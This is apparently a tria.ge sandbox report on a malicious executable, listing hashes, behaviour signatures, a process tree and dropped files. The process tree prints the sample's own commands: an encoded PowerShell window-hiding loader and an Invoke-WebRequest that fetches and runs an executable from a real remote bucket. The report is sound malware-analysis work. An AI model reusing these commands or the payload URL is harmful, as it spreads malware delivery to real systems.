Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 19:59

General

  • Target

    lb.exe

  • Size

    35.9MB

  • MD5

    0d44da7e57577fa226fc3003c314a548

  • SHA1

    43e96ccf4dcd34bb111be76ecedf50a61fa9e493

  • SHA256

    fcd2812900ec1574724d3cef7979cdc66df3473aaf6a85046d2bcbf40f36de71

  • SHA512

    38667f96441d3629fe1584653925259f662d80138907db76cad68d858ef3e9ab8cb61d0477050bef1b471c017c19ae75432b91a90e7e33a81e9a8bd23a52cdd7

  • SSDEEP

    393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfS:fMguj8Q4VfvdqFTrYB

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 30 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\lb.exe
    "C:\Users\Admin\AppData\Local\Temp\lb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:956
    • C:\Windows\system32\cmd.exe
      cmd.exe /C call powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -E QQBkAGQALQBUAHkAcABlACAAQAAiAAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzACAAewAKACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAYQByAGUAbgB0ACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACkAOwAKAAoAIAAgACAAIAAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0ACgAgACAAIAAgACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwAKACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAASQBuAHQAUAB0AHIAIABHAGUAdABUAGEAcgBnAGUAdABXAGkAbgBkAG8AdwAoACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHQAUAB0AHIAIABjAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdABQAHQAcgAgAHAAYQByAGUAbgB0AFcAaQBuAGQAbwB3ACAAPQAgAEcAZQB0AFAAYQByAGUAbgB0ACgAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwApADsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAIAA9AD0AIABJAG4AdABQAHQAcgAuAFoAZQByAG8AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAYwBvAG4AcwBvAGwAZQBXAGkAbgBkAG8AdwA7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAcABhAHIAZQBuAHQAVwBpAG4AZABvAHcAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9AAoAIgBAAAoACgBbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AFMAaABvAHcAVwBpAG4AZABvAHcAKABbAEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAVQB0AGkAbABzAF0AOgA6AEcAZQB0AFQAYQByAGcAZQB0AFcAaQBuAGQAbwB3ACgAKQAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1836
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\diicvtuy\diicvtuy.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB371.tmp" "c:\Users\Admin\AppData\Local\Temp\diicvtuy\CSCDB7B1AB4389F47418FE4981BB8E83169.TMP"
            5⤵
              PID:4796
      • C:\Windows\system32\cmd.exe
        cmd.exe /C call C:\Users\Admin\AppData\Local\Temp\127e6ea73e5da8719c266f574446bbc6.bat
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri 'https://mainsec.s3.us-west-004.backblazeb2.com/chrome_pwa_launcher.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\lb.exe'"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2356
        • C:\Users\Admin\AppData\Local\Temp\lb.exe
          "C:\Users\Admin\AppData\Local\Temp\lb.exe"
          3⤵
            PID:2040
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\StepEnter.txt
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:3948
      • C:\Windows\System32\fontview.exe
        "C:\Windows\System32\fontview.exe" C:\Users\Admin\Desktop\CheckpointRevoke.fon
        1⤵
          PID:3484
        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "C:\Users\Admin\Desktop\WaitConnect.xltx"
          1⤵
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of SetWindowsHookEx
          PID:1264
        • C:\Windows\System32\rundll32.exe
          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
          1⤵
            PID:4300
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" -nohome
            1⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3356
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3356 CREDAT:17410 /prefetch:2
              2⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:4236

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            2f57fde6b33e89a63cf0dfdd6e60a351

            SHA1

            445bf1b07223a04f8a159581a3d37d630273010f

            SHA256

            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

            SHA512

            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WZ04RUV6\suggestions[1].en-US

            Filesize

            17KB

            MD5

            5a34cb996293fde2cb7a4ac89587393a

            SHA1

            3c96c993500690d1a77873cd62bc639b3a10653f

            SHA256

            c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

            SHA512

            e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            e9c5f9e7437285aa87e4433bc7e0f9d7

            SHA1

            2363ddac1155a065a54dc6a0fc307d86bd88246b

            SHA256

            0cb341e3c6fd873cf50bd24821761efdaec49406557f21db3f1a4ee68796b520

            SHA512

            7cc866c84540c274e013a0eb453e89a27a52a410923ee28488f9b88d6fd8dad77c6e7e99e1cf97dc6202233a7d093e89bfc22eae3102d50cd83207d98b2f3cb2

          • C:\Users\Admin\AppData\Local\Temp\127e6ea73e5da8719c266f574446bbc6.bat

            Filesize

            209B

            MD5

            8b4c92ccd3aa5d8894c4a0cb8d4b8012

            SHA1

            fe92228e3d0fbd91246964a0d4cd92bf0426c647

            SHA256

            340c34698cd1b0fc6c6cbd9bd58ca400befe0807063afc1dbedb70c90129cd19

            SHA512

            2858185ed2d801037d48a16d7eb3ed0f04734a883d490b924e70f8bf1f0ded8236e07769a61f71a0b001e65c34bf4fb6f53f5a5949212a20dea1f5289c622752

          • C:\Users\Admin\AppData\Local\Temp\RESB371.tmp

            Filesize

            1KB

            MD5

            9d5c947b12a85e2a02556f7f6a8f3de6

            SHA1

            334a9e9b4c7b89fb003b63c922cf81c86710b001

            SHA256

            a37b348a43bbf86b7a5062f961cdcbc99e7825a3db014dfa6662842d16df2bf4

            SHA512

            0d3bcebc280a4a30e498a07d2ea1c169645d1a3febc939a8dca6d4931b08e450865fcfe3864647bbcc2c77d73fb152f29b571496c664947b136a3610573d4911

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1opdqlz.dwl.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\diicvtuy\diicvtuy.dll

            Filesize

            3KB

            MD5

            f1cc092f62ce2cbe6237e5d9dc46815f

            SHA1

            f339a85ed9335e8925a657fd18c20cf50e53f477

            SHA256

            eaf7609ab0609fb6ed8de924d50c6653667ab503230d86ea550a685179011891

            SHA512

            34ec3e5801d39cbe1671d12f41e394f926998a0f38283576631ec1c095fd5d0d1d567803c6ecf3ed081562acda04c1d5f8d67856b2cde3064e12d6d9b067bc33

          • \??\c:\Users\Admin\AppData\Local\Temp\diicvtuy\CSCDB7B1AB4389F47418FE4981BB8E83169.TMP

            Filesize

            652B

            MD5

            2272a9d48d0ffb1d617a9d3d0931597f

            SHA1

            a77e517d890bccbba3966c993be292626bf209f4

            SHA256

            0c27b6d52fa6f9337e44d66a715811a42b1ee0453032c5c5a0c98554f2f156e4

            SHA512

            35ee98fe4d47b74b59dd0ea6f5310616e9c3852a95ebf9384bf9224ad8533b8a95fa9e3c9d99bcc1f6f6f71e615dd1269bbec81a84c9af82e72dbf740134073c

          • \??\c:\Users\Admin\AppData\Local\Temp\diicvtuy\diicvtuy.0.cs

            Filesize

            737B

            MD5

            3d57f8f44297464baafa6aeecd3bf4bc

            SHA1

            f370b4b9f8dba01fbcad979bd663d341f358a509

            SHA256

            415199eec01052503978381a4f88f4cd970b441fedce519905990ed8b629b0f1

            SHA512

            4052dd65ca0a505a36c7c344671afcadb8f82cc24b0d1d8362f61565f9d37782e00332908444f6a95286dd1785d074762b27c20be1f361eec67807fad052d798

          • \??\c:\Users\Admin\AppData\Local\Temp\diicvtuy\diicvtuy.cmdline

            Filesize

            369B

            MD5

            3cbd867f98a4e57ea75092627a9dc2d7

            SHA1

            5b870c7d346f1b3959ea052b8d79a232885d981a

            SHA256

            4ecae41669c2587b01e1a2ca3a6b60c706410703389eab55a7554c7f10207d2f

            SHA512

            b968d37ffd4ad1ba4f604d87cea9d5c2f219fc5ddc343de44aba16c740003be37ea7201cebb0d89c8556dd3576aff6eb568aae7ff097e71f2b7b66d2e613ce9d

          • memory/1264-46-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-50-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-70-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-71-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-72-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-47-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-48-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-49-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-69-0x00007FFA246F0000-0x00007FFA24700000-memory.dmp

            Filesize

            64KB

          • memory/1264-52-0x00007FFA223A0000-0x00007FFA223B0000-memory.dmp

            Filesize

            64KB

          • memory/1264-51-0x00007FFA223A0000-0x00007FFA223B0000-memory.dmp

            Filesize

            64KB

          • memory/1836-37-0x000002DC8E6D0000-0x000002DC8E6D8000-memory.dmp

            Filesize

            32KB

          • memory/1836-9-0x000002DCA68C0000-0x000002DCA68E2000-memory.dmp

            Filesize

            136KB

          • memory/1836-23-0x00007FFA45D10000-0x00007FFA467D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1836-24-0x00007FFA45D10000-0x00007FFA467D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1836-41-0x00007FFA45D10000-0x00007FFA467D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1836-3-0x00007FFA45D13000-0x00007FFA45D15000-memory.dmp

            Filesize

            8KB